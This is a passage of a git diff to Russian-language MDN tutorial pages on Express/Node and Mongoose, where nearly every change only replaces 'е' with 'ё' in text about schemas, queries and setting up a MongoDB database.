клиенту с трассировкой стека.</span></span></p> <div class="note"> <p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Трассировка стека не включена в производственную среду.</span> <span title="">Чтобы запустить его в производственном режиме, необходимо установить переменную среды NODE_ENV в «производство».</span></span></p> @@ -443,7 +443,7 @@ MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) { <p><span class="tlid-translation translation" lang="ru"><span title="">Механизмы шаблонов (в Express называемые «механизмами просмотра») позволяют указывать структуру выходного документа в шаблоне, используя заполнители для данных, которые будут заполняться при создании страницы.</span> <span title="">Шаблоны часто используются для создания HTML, но могут также создавать другие типы документов.</span> <span title="">В Express есть поддержка ряда шаблонных движков, и здесь есть полезное сравнение более популярных движков: Сравнение шаблонизаторов JavaScript: Jade, Mustache, Dust и More.</span><br> <br> - <span title="">В своем коде настроек приложения вы задаете механизм шаблонов для использования и место, где Express должен искать шаблоны, используя настройки «views» и «engine», как показано ниже (вам также нужно будет установить пакет, содержащий вашу библиотеку шаблонов).</span> <span title="">!</span><span title="">)</span></span></p> + <span title="">В своём коде настроек приложения вы задаёте механизм шаблонов для использования и место, где Express должен искать шаблоны, используя настройки «views» и «engine», как показано ниже (вам также нужно будет установить пакет, содержащий вашу библиотеку шаблонов).</span> <span title="">!</span><span title="">)</span></span></p> <pre class="brush: js notranslate">var express = require('express'); var app = express(); @@ -465,18 +465,18 @@ app.set('view engine', 'some_template_engine_name'); <h3 id="Файловая_структура"><span class="tlid-translation translation" lang="ru"><span title="">Файловая структура</span></span></h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Express не делает никаких предположений относительно структуры или компонентов, которые вы используете.</span> <span title="">Маршруты, представления, статические файлы и другая логика конкретного приложения могут находиться в любом количестве файлов с любой структурой каталогов.</span> <span title="">Хотя вполне возможно иметь все приложения Express в одном файле, обычно имеет смысл разделить ваше приложение на файлы на основе функций (например, управление учетными записями, блоги, доски обсуждений) и проблемной области архитектуры (например, модель, представление или контроллер, если</span> <span title="">вы случайно используете</span></span> <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC architecture</a>).</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Express не делает никаких предположений относительно структуры или компонентов, которые вы используете.</span> <span title="">Маршруты, представления, статические файлы и другая логика конкретного приложения могут находиться в любом количестве файлов с любой структурой каталогов.</span> <span title="">Хотя вполне возможно иметь все приложения Express в одном файле, обычно имеет смысл разделить ваше приложение на файлы на основе функций (например, управление учётными записями, блоги, доски обсуждений) и проблемной области архитектуры (например, модель, представление или контроллер, если</span> <span title="">вы случайно используете</span></span> <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC architecture</a>).</p> -<p><span class="tlid-translation translation" lang="ru"><span title="">В более поздней теме мы будем использовать Express Application Generator, который создает модульный каркас приложения, который мы можем легко расширить для создания веб-приложений.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В более поздней теме мы будем использовать Express Application Generator, который создаёт модульный каркас приложения, который мы можем легко расширить для создания веб-приложений.</span></span></p> <ul> </ul> <h2 id="Резюме">Резюме</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Поздравляем, вы завершили первый шаг в своем путешествии Express / Node!</span> <span title="">Теперь вы должны понимать основные преимущества Express и Node, а также примерно то, как могут выглядеть основные части приложения Express (маршруты, промежуточное ПО, обработка ошибок и код шаблона).</span> <span title="">Вы также должны понимать, что с Express, который является непонятным фреймворком, то, как вы собираете эти части вместе, и библиотеки, которые вы используете, в значительной степени зависит от вас!</span><br> +<p><span class="tlid-translation translation" lang="ru"><span title="">Поздравляем, вы завершили первый шаг в своём путешествии Express / Node!</span> <span title="">Теперь вы должны понимать основные преимущества Express и Node, а также примерно то, как могут выглядеть основные части приложения Express (маршруты, промежуточное ПО, обработка ошибок и код шаблона).</span> <span title="">Вы также должны понимать, что с Express, который является непонятным фреймворком, то, как вы собираете эти части вместе, и библиотеки, которые вы используете, в значительной степени зависит от вас!</span><br> <br> - <span title="">Конечно, Express - это очень легкая платформа для веб-приложений, поэтому большая часть ее преимуществ и возможностей обеспечивается сторонними библиотеками и функциями.</span> <span title="">Мы рассмотрим это более подробно в следующих статьях.</span> <span title="">В нашей следующей статье мы рассмотрим настройку среды разработки Node, чтобы вы могли увидеть некоторый код Express в действии.</span></span></p> + <span title="">Конечно, Express - это очень лёгкая платформа для веб-приложений, поэтому большая часть её преимуществ и возможностей обеспечивается сторонними библиотеками и функциями.</span> <span title="">Мы рассмотрим это более подробно в следующих статьях.</span> <span title="">В нашей следующей статье мы рассмотрим настройку среды разработки Node, чтобы вы могли увидеть некоторый код Express в действии.</span></span></p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/server-side/express_nodejs/mongoose/index.html b/files/ru/learn/server-side/express_nodejs/mongoose/index.html index a761872f99..7bbcc23eb4 100644 --- a/files/ru/learn/server-side/express_nodejs/mongoose/index.html +++ b/files/ru/learn/server-side/express_nodejs/mongoose/index.html @@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose <div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</div> -<p class="summary">В этой статье дается краткое введение в базы данных, и методика их использования в приложениях Node/Express. Затем мы покажем, как можно использовать <a href="http://mongoosejs.com/">Mongoose</a> для доступа к базе данных веб-сайта <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>. Мы объясним, как объявляются схемы и модели объектов, укажем основные типы полей, и методику базовой валидации. В статье также кратко показаны основные методы доступа к данным модели.</p> +<p class="summary">В этой статье даётся краткое введение в базы данных, и методика их использования в приложениях Node/Express. Затем мы покажем, как можно использовать <a href="http://mongoosejs.com/">Mongoose</a> для доступа к базе данных веб-сайта <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>. Мы объясним, как объявляются схемы и модели объектов, укажем основные типы полей, и методику базовой валидации. В статье также кратко показаны основные методы доступа к данным модели.</p> <table class="learn-box standard-table"> <tbody> @@ -24,7 +24,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose <h2 id="Обзор">Обзор</h2> -<p>Сотрудники библиотеки будут использовать сайт Local Library для хранения информации о книгах и абонентах, а абоненты библиотеки будут использовать его для просмотра и поиска книг, для получения информации о доступных копиях, для резервирования или одалживания книг. Чтобы эффективно хранить и извлекать информацию, мы будем хранить ее в базе данных.</p> +<p>Сотрудники библиотеки будут использовать сайт Local Library для хранения информации о книгах и абонентах, а абоненты библиотеки будут использовать его для просмотра и поиска книг, для получения информации о доступных копиях, для резервирования или одалживания книг. Чтобы эффективно хранить и извлекать информацию, мы будем хранить её в базе данных.</p> <p>Express-приложения могут использовать различные базы данных, и есть несколько подходов, которые можно использовать для выполнения операций <strong>C</strong>reate, <strong>R</strong>ead, <strong>U</strong>pdate and <strong>D</strong>elete (CRUD) (создать, прочесть, обновить, удалить). В руководстве дан краткий обзор некоторых доступных опций, и детально рассмотрены некоторые механизмы работы.</p> @@ -42,7 +42,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose <ul> <li>Использование родного языка запросов баз данных (т.е. SQL)</li> - <li>Использование объектной модели данных (ODM) или объектно-реляционной модели (ORM). ODM / ORM представляют данные веб-сайта как объекты JavaScript, которые затем отображаются на поддерживающую базу данных. Некоторые ORM привязаны к определенной базе данных, тогда как другие не зависят от конкретной базы данных.</li> + <li>Использование объектной модели данных (ODM) или объектно-реляционной модели (ORM). ODM / ORM представляют данные веб-сайта как объекты JavaScript, которые затем отображаются на поддерживающую базу данных. Некоторые ORM привязаны к определённой базе данных, тогда как другие не зависят от конкретной базы данных.</li> </ul> <p>Наилучшую производительность можно получить с помощью SQL или другого языка запросов, поддерживаемого базой данных. Объектные модели (ODM) часто медленнее, потому что требуют перевода объектов в формат базы данных, при этом не обязательно будут использованы наиболее эффективные запросы к базе данных (особенно, если ODM предназначена для различных баз данных и должна идти на большие компромиссы в смысле поддержки тех или иных функций базы данных).</p> @@ -50,7 +50,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose <p>Преимущество применения ORM состоит в том, что программисты могут сосредоточиться на объектах JavaScript, а не на семантике базы данных — особенно, если требуется работать с разными базами данных (на одном или разных веб-сайтах). Они также дают очевидное место для валидации и проверки данных.</p> <div class="note"> -<p>Совет: Применение ODM / ORMs часто приводит к снижению затрат на разработку и обслуживание! Если Вы не очень хорошо знакомы с родным языком запросов или если производительность имеет первостепенное значение, следует серьезно рассмотреть возможность применения ODM.</p> +<p>Совет: Применение ODM / ORMs часто приводит к снижению затрат на разработку и обслуживание! Если Вы не очень хорошо знакомы с родным языком запросов или если производительность имеет первостепенное значение, следует серьёзно рассмотреть возможность применения ODM.</p> </div> <h3 id="Какую_модель_ORMODM_следует_использовать">Какую модель ORM/ODM следует использовать?</h3> @@ -63,8 +63,8 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose <li><a href="https://www.npmjs.com/package/mongoose">Mongoose</a>: -- это средство моделирование объектов базы данных <a href="https://www.mongodb.org/">MongoDB</a>, предназначенное для асинхронной работы.</li> <li><a href="https://www.npmjs.com/package/waterline">Waterline</a>: ORM фреймворка <a href="http://sailsjs.com/">Sails</a> (основан на Express) . Она предоставляет единый API для доступа к множеству баз данных, в том числе Redis, mySQL, LDAP, MongoDB, и Postgres.</li> <li><a href="https://www.npmjs.com/package/bookshelf">Bookshelf</a>: поддерживает как promise- так и традиционные callback- интерфейсы, поддержка транзакций, eager/nested-eager relation loading, полиморфные ассоциации, и поддержка, один к одному, один ко многим, и многие ко многим. Работает с PostgreSQL, MySQL, и SQLite3.</li> - <li><a href="https://www.npmjs.com/package/objection">Objection</a>: Делает настолько легким, насколько возможно, использование всей мощи SQL и движка базы данных ( поддерживает SQLite3, Postgres, и MySQL).</li> - <li><a href="https://www.npmjs.com/package/sequelize">Sequelize</a>: Основанная на промисах ORM для Node.js и <a href="https://ru.wikipedia.org/wiki/Io.js">io.js</a>. Поддерживает диалекты PostgreSQL, MySQL, MariaDB, SQLite и MSSQL, обладает надежной поддержкой транзакций, отношений, чтения копий и т.д.</li> + <li><a href="https://www.npmjs.com/package/objection">Objection</a>: Делает настолько лёгким, насколько возможно, использование всей мощи SQL и движка базы данных ( поддерживает SQLite3, Postgres, и MySQL).</li> + <li><a href="https://www.npmjs.com/package/sequelize">Sequelize</a>: Основанная на промисах ORM для Node.js и <a href="https://ru.wikipedia.org/wiki/Io.js">io.js</a>. Поддерживает диалекты PostgreSQL, MySQL, MariaDB, SQLite и MSSQL, обладает надёжной поддержкой транзакций, отношений, чтения копий и т.д.</li> <li> <p><a href="https://node-orm.readthedocs.io/en/latest/"><font color="#3d7e9a"><font face="Arial, x-locale-body, sans-serif"><font size="3">Node ORM2</font></font></font></a><font color="#333333"><font face="Arial, x-locale-body, sans-serif"><font size="3"> -- это OR менеджер для NodeJS. Поддерживает MySQL, SQLite и Progress, помогает работать с БД, используя объектный подход.</font></font></font></p> </li> @@ -73,7 +73,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose </li> </ul> -<p>Как правило, при выборе решения следует учитывать как предоставляемые функции, так и "деятельность сообщества" ( загрузки, вклад, отчеты об ошибках, качество документации, и т.д. ) . На момент написания статьи Mongoose являлась очень популярной ORM, и разумно, если вы выбрали MongoDB.</p> +<p>Как правило, при выборе решения следует учитывать как предоставляемые функции, так и "деятельность сообщества" ( загрузки, вклад, отчёты об ошибках, качество документации, и т.д. ) . На момент написания статьи Mongoose являлась очень популярной ORM, и разумно, если вы выбрали MongoDB.</p> <h3 id="Применение_Mongoose_и_MongoDb_для_LocalLibrary">Применение Mongoose и MongoDb для LocalLibrary</h3> @@ -97,11 +97,11 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose <p>При проектировании моделей имеет смысл иметь отдельные модели для каждого «объекта» (группы связанных данных). В этом случае очевидными объектами являются книги, экземпляры книг и авторы.</p> -<p>Можно также использовать модели для представления параметров списка выбора (например, как выпадающий список вариантов), вместо жесткого кодирования выбора на самом веб-сайте - рекомендуется, когда не все параметры известны или могут быть изменены. Явный кандидат для модели такого типа -- это жанр книги (например, «Научная фантастика», «Французская поэзия» и т.д.),</p> +<p>Можно также использовать модели для представления параметров списка выбора (например, как выпадающий список вариантов), вместо жёсткого кодирования выбора на самом веб-сайте - рекомендуется, когда не все параметры известны или могут быть изменены. Явный кандидат для модели такого типа -- это жанр книги (например, «Научная фантастика», «Французская поэзия» и т.д.),</p> <p>Как только мы определились с моделями и полями, следует подумать об отношениях между ними.</p> -<p>С учетом сказанного, UML-диаграмма связей (см. ниже) показывает модели, которые представлены как прямоугольники. Мы решили, что создадим модели для книги (общие сведения о книге), для экземпляра книги (состояние отдельных физических копий книги, доступных в системе) и для автора. Кроме того, у нас будет модель для жанра, чтобы эти значения можно было создавать динамически. Решено не создавать модель для <code>BookInstance:status</code> — мы пропишем в коде необходимые значения, потому что не ожидаем их изменения. На элементах диаграммы показаны имя модели, имена и типы полей, имена методов и типы их результатов .</p> +<p>С учётом сказанного, UML-диаграмма связей (см. ниже) показывает модели, которые представлены как прямоугольники. Мы решили, что создадим модели для книги (общие сведения о книге), для экземпляра книги (состояние отдельных физических копий книги, доступных в системе) и для автора. Кроме того, у нас будет модель для жанра, чтобы эти значения можно было создавать динамически. Решено не создавать модель для <code>BookInstance:status</code> — мы пропишем в коде необходимые значения, потому что не ожидаем их изменения. На элементах диаграммы показаны имя модели, имена и типы полей, имена методов и типы их результатов .</p> <p>Также показаны отношения между моделями, включая множественные отношения. Числа на линиях связи показывают максимум и минимум моделей, участвующих отношении. Например, линия между <code>Book</code> и <code>Genre</code> показывает, что <code>Book</code> и <code>Genre</code> связаны. Числа на этой линии рядом с моделью <code>Book</code> показывают, что жанр может быть связан с любым количеством книг, а числа на другом конце линии рядом с <code>Genre</code> отмечают, что книга может быть связана с любым количеством жанров.</p> @@ -112,7 +112,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose <p><img alt="Mongoose Library Model with correct cardinality" src="https://mdn.mozillademos.org/files/15645/Library%20Website%20-%20Mongoose_Express.png" style="height: 620px; width: 737px;"></p> <div class="note"> -<p><strong>Заметка</strong>: В следующем разделе дан базовый пример, в котором объясняется, как задавать и как использовать модели. При чтении обратите внимание, как будут создаваться модели, приведенные на диаграмме.</p> +<p><strong>Заметка</strong>: В следующем разделе дан базовый пример, в котором объясняется, как задавать и как использовать модели. При чтении обратите внимание, как будут создаваться модели, приведённые на диаграмме.</p> </div> <h2 id="Mongoose_Справочник">Mongoose Справочник</h2> @@ -158,14 +158,14 @@ db.on('error', console.error.bind(console, 'MongoDB connection error:')); <p>При помощи <code>mongoose.connection</code> можно получить стандартный объект <code>Connection</code>. После подключения в экземпляре <code>Connection</code> возникает событие open (открыт).</p> <div class="note"> -<p><strong>Tip:</strong> Если необходимо создать дополнительные подключения, можно использовать <code>mongoose.createConnection()</code>. При этом будут применены те же БД URI (хост, БД, порт, опции и т.д.), что и в <code>connect()</code> и будет возвращен объект <code>Connection</code>.</p> +<p><strong>Tip:</strong> Если необходимо создать дополнительные подключения, можно использовать <code>mongoose.createConnection()</code>. При этом будут применены те же БД URI (хост, БД, порт, опции и т.д.), что и в <code>connect()</code> и будет возвращён объект <code>Connection</code>.</p> </div> <h3 id="Определение_и_создание_моделей">Определение и создание моделей</h3> <p>Модели можно создать при помощи интерфейса <code>Schema</code> . Schema позволяет указать поля, которые будут в каждом документе, значения полей по умолчанию и требования по валидации. Кроме того, можно задать статические методы и методы-хелперы (от help), облегчающие работу с вашими типами данных, а также задать виртуальные свойства, которые можно использовать как и обычные поля, но без влияния на данные в самой базе данных.</p> -<p>Схемы "компилируются " в окончательную модель методом <code>mongoose.model()</code>. После создания модели ее можно использовать для поиска, создания, обновления и удаления объектов данного типа.</p> +<p>Схемы "компилируются " в окончательную модель методом <code>mongoose.model()</code>. После создания модели её можно использовать для поиска, создания, обновления и удаления объектов данного типа.</p> <div class="note"> <p><strong>Заметка:</strong> Каждой модели соответствует <em>коллекция</em> <em>документов</em> в ДБ MongoDB. Документы будут содержать поля тех типов, которые заданы в модели <code>Schema</code>.</p> @@ -173,7 +173,7 @@ db.on('error', console.error.bind(console, 'MongoDB connection error:')); <h4 id="Определение_схем_данных">Определение схем данных</h4> -<p>Код ниже показывает, как можно задать простую схему. Сначала при помощи <code>require()</code> создается объект mongoose, затем конструктор Schema создает новый экземпляр схемы, при этом различные поля задаются как параметры конструктора.</p> +<p>Код ниже показывает, как можно задать простую схему. Сначала при помощи <code>require()</code> создаётся объект mongoose, затем конструктор Schema создаёт новый экземпляр схемы, при этом различные поля задаются как параметры конструктора.</p> <pre class="brush: js">//Требуется Mongoose var mongoose = require('mongoose'); @@ -212,7 +212,7 @@ var SomeModel = mongoose.model('SomeModel', SomeModelSchema );</strong></pre> <h4 id="Типы_схемы_(поля)">Типы схемы (поля)</h4> -<p>Схема может содержать любое количество полей, причем каждое поле будет полем документа, хранимого в БД <em>MongoDB</em>. Схема-пример содержит определения многих широко используемых типов полей.</p> +<p>Схема может содержать любое количество полей, причём каждое поле будет полем документа, хранимого в БД <em>MongoDB</em>. Схема-пример содержит определения многих широко используемых типов полей.</p> <pre class="brush: js">var schema = new Schema( { @@ -228,12 +228,12 @@ var SomeModel = mongoose.model('SomeModel', SomeModelSchema );</strong></pre> nested: { stuff: { type: <strong>String</strong>, lowercase: true, trim: true } } })</pre> -<p>Большинство типов в <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (указаны после “type:” или после имен полей) достаточно очевидны. Исключения:</p> +<p>Большинство типов в <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (указаны после “type:” или после имён полей) достаточно очевидны. Исключения:</p> <ul> <li><code>ObjectId</code>: Представляет отдельный экземпляр модели в БД. Например, book может ссылаться на объект- автора. Поле будет содержать уникальный идентификатор (<code>_id</code>) отдельного объекта. При необходимости использования этой информации применяют метод <code>populate()</code>.</li> <li><a href="http://mongoosejs.com/docs/schematypes.html#mixed">Mixed</a>: Произвольный тип в схеме.</li> - <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>: Массив элементов. В таких моделях можно выполнять JavaScript-операции для массивов (push, pop, unshift, etc.). Выше показан пример массивы объектов неопределенного типа и массив строк, но можно использовать массив объектов любого типа.</li> + <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>: Массив элементов. В таких моделях можно выполнять JavaScript-операции для массивов (push, pop, unshift, etc.). Выше показан пример массивы объектов неопределённого типа и массив строк, но можно использовать массив объектов любого типа.</li> </ul> <p>Код содержит также два способа объявления полей:</p> @@ -325,7 +325,7 @@ awesome_instance.save(function (err) { <p>Создание записей (а также обновления, удаления и запросы) - это асинхронные операции, поэтому следует предусмотреть колбэк-функцию, которая будет вызвана при завершении операции. В API используется соглашение о первом аргументе, согласно которому первый аргумент колбэк-функции должен быть значением ошибки (или null). Если API возвращает некоторый результат, он должен быть вторым аргументом.</p> -<p>Можно использовать метод <code>create()</code> для создании экземпляра модели при его сохранении. Тогда колбэк-функция вернет ошибку (или null) как первый аргумент и только что созданный экземпляр как второй аргумент.</p> +<p>Можно использовать метод <code>create()</code> для создании экземпляра модели при его сохранении. Тогда колбэк-функция вернёт ошибку (или null) как первый аргумент и только что созданный экземпляр как второй аргумент.</p> <pre class="brush: js">SomeModel<code>.create({ name: 'also_awesome' }, function (err, awesome_instance) { if (err) return handleError(err); @@ -348,7 +348,7 @@ console.log(<code>awesome_instance.name</code>); //вывод в консоль <h4 id="Поиск_записей">Поиск записей</h4> -<p>При поиске записей методами запросов, условия поиска следует задавать как документ JSON. Приведенный фрагмент кода (ниже) показывает, как в БД найти имена (<em>name</em>) и возраст (<em>age</em>) всех спортсменов-теннисистов. Соответствие будет определяться по одному полю (sport), но можно добавить критерии поиска, задав, например, регулярное выражение, или удалить все критерии, чтобы получить список всех спортсменов.</p> +<p>При поиске записей методами запросов, условия поиска следует задавать как документ JSON. Приведённый фрагмент кода (ниже) показывает, как в БД найти имена (<em>name</em>) и возраст (<em>age</em>) всех спортсменов-теннисистов. Соответствие будет определяться по одному полю (sport), но можно добавить критерии поиска, задав, например, регулярное выражение, или удалить все критерии, чтобы получить список всех спортсменов.</p> <pre class="brush: js"><code>var Athlete = mongoose.model('Athlete', yourSchema); @@ -364,7 +364,7 @@ Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) { <p><strong>Заметка:</strong> Все колбэк-функции в Mongoose используют образец <code>callback(error, result)</code>. Если при выполнении запроса возникает ошибка, параметр <code>error</code> будет содержать объект error, а <code>result</code> будет null. При успешном запросе параметр <code>error</code> будет null, а <code>result</code> будет содержать результат запроса.</p> </div> -<p>Если не задать колбэк-функцию, API вернет переменную типа <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a>. Можно использовать объект запроса, чтобы создать и выполнить свой запрос (с колбэк-функцией) позже, при помощи метода <code>exec()</code>.</p> +<p>Если не задать колбэк-функцию, API вернёт переменную типа <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a>. Можно использовать объект запроса, чтобы создать и выполнить свой запрос (с колбэк-функцией) позже, при помощи метода <code>exec()</code>.</p> <pre class="brush: js"><code>// найти всех теннисистов var query = Athlete.find({ 'sport': 'Tennis' }); @@ -404,7 +404,7 @@ query.exec(function (err, athletes) { </ul> <div class="note"> -<p><strong>Заметка:</strong> Есть также метод <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code>, который определяет количество записей, соответствующих условию. Он полезен при выполнении подсчетов без фактического извлечения записей.</p> +<p><strong>Заметка:</strong> Есть также метод <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code>, который определяет количество записей, соответствующих условию. Он полезен при выполнении подсчётов без фактического извлечения записей.</p> </div> <p>Запросы полезны и во многих других случаях. Дополнительная информация - в <a href="http://mongoosejs.com/docs/queries.html">Queries</a> (документация Mongoose).</p> @@ -431,17 +431,17 @@ var storySchema = Schema({ var Story = mongoose.model('Story', storySchema); var Author = mongoose.model('Author', authorSchema);</code></pre> -<p>Можно сохранить ссылки в связанном документе, используя значение идентификатора <code>_id</code>. Ниже создается автор, затем рассказ, и значение идентификатора id автора сохраняется в поле "author" рассказа.</p> +<p>Можно сохранить ссылки в связанном документе, используя значение идентификатора <code>_id</code>. Ниже создаётся автор, затем рассказ, и значение идентификатора id автора сохраняется в поле "author" рассказа.</p> <pre class="brush: js"><code>var bob = new Author({ name: 'Bob Smith' }); bob.save(function (err) { if (err) return handleError(err); - //автор Bob создан, создаем рассказ + //автор Bob создан, создаём рассказ var story = new Story({ title: "Bob goes sledding", - author: bob._id // присваиваем полю значение идентификатора Боба. Идентификатор создается по умолчанию! + author: bob._id // присваиваем полю значение идентификатора Боба. Идентификатор создаётся по умолчанию! }); story.save(function (err) { @@ -479,7 +479,7 @@ bob.save(function (err) { <h3 id="Одна_схема_(модель)_-_один_файл">Одна схема (модель) - один файл</h3> -<p>Можно использовать любую структуру файлов при создании схем и моделей, однако мы настоятельно рекомендуем определять каждую схему модели в отдельном модуле (файле), экспортируя метод для создания модели. Пример приведен ниже:</p> +<p>Можно использовать любую структуру файлов при создании схем и моделей, однако мы настоятельно рекомендуем определять каждую схему модели в отдельном модуле (файле), экспортируя метод для создания модели. Пример приведён ниже:</p> <pre class="brush: js"><code>// Файл: ./models/somemodel.js @@ -499,7 +499,7 @@ module.exports = mongoose.model('SomeModel', SomeModelSchema );</strong></code>< <p>You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.</p> -<pre class="brush: js"><code>//Создаем модель SomeModel просто вызовом модуля из файла +<pre class="brush: js"><code>//Создаём модель SomeModel просто вызовом модуля из файла var SomeModel = require('../models/somemodel') // Используем объект SomeModel (модель) для поиска всех записей в SomeModel @@ -509,7 +509,7 @@ SomeModel.find(callback_function);</code></pre> <p>Мы уже немного понимаем, что может делать Mongoose и как следует проектировать модели. Теперь самое время начать работу над сайтом <em>LocalLibrary</em>. Самое первое, что мы должны сделать - установить базу данных MongoDb, в которой будут храниться данные нашей библиотеки.</p> -<p>В этом руководстве мы будем использовать базу данных в "песочнице" ("<a href="https://mlab.com/plans/pricing/">sandbox</a>") - бесплатный облачный сервис, предоставляемый <a href="https://mlab.com/welcome/">mLab</a>. Такая база не очень подходит для промышленных веб-сайтов, поскольку не имеет избыточности, но она очень удобна для разработки и прототипирования. Мы используем ее, так как она бесплатна, ее легко установить, и потому что mLab - популярный поставщик <em>базы данных как сервиса, </em>и это может быть разумным выбором для промышленной базы данных (на данный момент другие известные возможности включают <a href="https://www.compose.com/">Compose</a>, <a href="https://scalegrid.io/pricing.html">ScaleGrid</a> и <a href="https://www.mongodb.com/cloud/atlas">MongoDB Atlas</a>).</p> +<p>В этом руководстве мы будем использовать базу данных в "песочнице" ("<a href="https://mlab.com/plans/pricing/">sandbox</a>") - бесплатный облачный сервис, предоставляемый <a href="https://mlab.com/welcome/">mLab</a>. Такая база не очень подходит для промышленных веб-сайтов, поскольку не имеет избыточности, но она очень удобна для разработки и прототипирования. Мы используем её, так как она бесплатна, её легко установить, и потому что mLab - популярный поставщик <em>базы данных как сервиса, </em>и это может быть разумным выбором для промышленной базы данных (на данный момент другие известные возможности включают <a href="https://www.compose.com/">Compose</a>, <a href="https://scalegrid.io/pricing.html">ScaleGrid</a> и <a href="https://www.mongodb.com/cloud/atlas">MongoDB Atlas</a>).</p> <div class="note"> <p><strong>Заметка:</strong> При желании можно установить БД MongoDb локально, загрузив и установив <a href="https://www.mongodb.com/download-center">подходящие для вашей системы двоичные файлы</a>. В этом случае приводимые ниже инструкции не изменятся, за исключением URL базы данных, который нужно будет задать для установки соединения.</p> @@ -520,14 +520,14 @@ SomeModel.find(callback_function);</code></pre> <p>После входа в систему вы увидите главную страницу <a href="https://mlab.com/home">home</a>:</p> <ol> - <li>Щелкните <strong>Create New</strong> в разделе <em>MongoDB Deployments</em> для создания новой БД.<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li> + <li>Щёлкните <strong>Create New</strong> в разделе <em>MongoDB Deployments</em> для создания новой БД.<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li> <li>Откроется экран <em>Cloud Provider Selection - раздела провайдера облака</em>.<br> <img alt="MLab - screen for new deployment" src="https://mdn.mozillademos.org/files/15661/mLab_new_deployment_form_v2.png" style="height: 931px; width: 1297px;"><br> <ul> <li>Выберите план SANDBOX (Free) из раздела Plan Type (тип плана). </li> <li>Выберите любого провайдера в разделе <em>Cloud Provider (провайдер облака)</em>. Разные провайдеры обслуживают разные регионы (показаны под выбранным типом плана).</li> - <li>Щелкните кнопку <strong>Continue</strong>.</li> + <li>Щёлкните кнопку <strong>Continue</strong>.</li> </ul> </li> <li>Откроется экран выбора региона <em>Select Region</em>. @@ -535,7 +535,7 @@ SomeModel.find(callback_function);</code></pre> <ul> <li> - <p>Выберите ближайший к Вам регион и щелкните кнопку <strong>Continue</strong>.</p> + <p>Выберите ближайший к Вам регион и щёлкните кнопку <strong>Continue</strong>.</p> </li> </ul> </li> @@ -554,17 +554,17 @@ SomeModel.find(callback_function);</code></pre> <ul> <li> - <p>Щелкните <strong>Submit Order</strong> (подтвердить заказ), чтобы создать БД.</p> + <p>Щёлкните <strong>Submit Order</strong> (подтвердить заказ), чтобы создать БД.</p> </li> </ul> </li> <li> - <p>Вы вернетесь на главный (home) экран. Щелкните по вновь созданной базе, чтобы открыть экран с детальной информацией. Как видно, в БД нет коллекций (данных).<br> + <p>Вы вернётесь на главный (home) экран. Щёлкните по вновь созданной базе, чтобы открыть экран с детальной информацией. Как видно, в БД нет коллекций (данных).<br> <img alt="mLab - Database details screen" src="https://mdn.mozillademos.org/files/15665/mLab_new_deployment_database_details.png" style="height: 700px; width: 1398px;"><br> <br> - На форме выше обведен URL для соединения с вашей БДthat you need to use to access your database is displayed on the form above (shown for this database circled above). Чтобы его использовать, необходимо создать пользователя БД, который позже введет этот URL.</p> + На форме выше обведён URL для соединения с вашей БДthat you need to use to access your database is displayed on the form above (shown for this database circled above). Чтобы его использовать, необходимо создать пользователя БД, который позже введёт этот URL.</p> </li> - <li>Щелкните по вкладке <strong>Users</strong> и выберите кнопку <strong>Add database user </strong>(добавить пользователя БД).</li> + <li>Щёлкните по вкладке <strong>Users</strong> и выберите кнопку <strong>Add database user </strong>(добавить пользователя БД).</li> <li>Введите имя пользователя и пароль (дважды), затем нажмите <strong>Create </strong>(создать). Не отмечайте <em>Make read only </em>(только для чтения)!<br> <img alt="" src="https://mdn.mozillademos.org/files/14454/mLab_database_users.png" style="height: 204px; width: 600px;"></li> </ol> @@ -573,14 +573,14 @@ SomeModel.find(callback_function);</code></pre> <h2 id="Установка_Mongoose">Установка Mongoose</h2> -<p>Откройте окно команд и перейдите в каталог, в котором создан <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">каркас веб-сайта Local Library</a>. Введите команду install, чтобы установить Mongoose (и ее зависимости), а также добавьте ее в файл <strong>package.json</strong>, если вы еще не сделали этого ранее, при чтении примера <a href="#Installing_Mongoose_and_MongoDB">Mongoose Primer</a>.</p> +<p>Откройте окно команд и перейдите в каталог, в котором создан <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">каркас веб-сайта Local Library</a>. Введите команду install, чтобы установить Mongoose (и её зависимости), а также добавьте её в файл <strong>package.json</strong>, если вы ещё не сделали этого ранее, при чтении примера <a 